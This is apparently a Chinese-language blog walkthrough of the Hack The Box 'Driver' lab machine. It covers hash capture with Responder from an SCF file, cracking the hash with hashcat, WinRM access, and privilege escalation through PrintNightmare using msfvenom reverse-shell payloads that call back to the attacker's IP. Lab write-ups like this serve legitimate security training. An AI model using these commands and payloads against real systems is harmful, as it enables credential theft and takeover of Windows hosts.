HTB-Driver
1 | ip='10.129.254.60' |
开了80,135,445,5985
上来basic登录

admin/admin直接进来了

这里也有提示

responder
htb提示搜smb share upload file attack
搜到这篇文章,其中有个scf文件模板,联想到smb,那显然是responder
1 | [Shell] |
1 | responder -I tun0 -v |
直接抓到一堆认证

1 | [SMB] NTLMv2-SSP Client : 10.129.254.60 |
1 | hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt |
爆破出密码为liltony
1 | nxc smb $ip -u 'tony' -p 'liltony' --shares |

1 | nxc winrm $ip -u 'tony' -p 'liltony' |
显然可以winrm


286b2149b0ed831c5264d8304bd2f37c
提权
RICOH
powershell的历史记录有东西
1 | type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |

有个RICOH PCL6 UniversalDriver V4.23
1 | icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll" |
F标志表示完全访问, I标志表示权限是从父目录继承的。继承的可写标志源自父目录。

1 | icacls "c:\ProgramData\RICOH_DRV |
整个目录都有完全控制权

启动msf,搜索下相关模块

但看options需要一个session,所以先上msf马
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.42 LPORT=4444 -f exe >shell.exe |
1 | use exploit/multi/handler |

试了好几次都不行

看了眼代码也不知道哪里卡主了,似乎是条件竞争的洞,懒得折腾了

PrintNightmare
1 | nxc smb $ip -u tony -p liltony -M spooler |
既然有打印机,就不得不查下打印机噩梦这个洞了
1 | nxc smb $ip -u tony -p liltony -M printnightmare |
提示漏洞存在,且工具也说了

msf生成个dll,然后上传
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.42 LPORT=4444 -f dll >shell.dll |
执行exp
1 | python printnightmare.py -dll 'C:\Users\tony\shell.dll' 'tony:liltony@$DRIVER' |
试了两回,第一回还是tony,第二回成功了



- 标题: HTB-Driver
- 作者: metafa1ica
- 创建于 : 2025-08-03 14:03:19
- 更新于 : 2025-08-17 13:29:27
- 链接: https://metafa1ica.github.io/post/11acd23e8de2/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论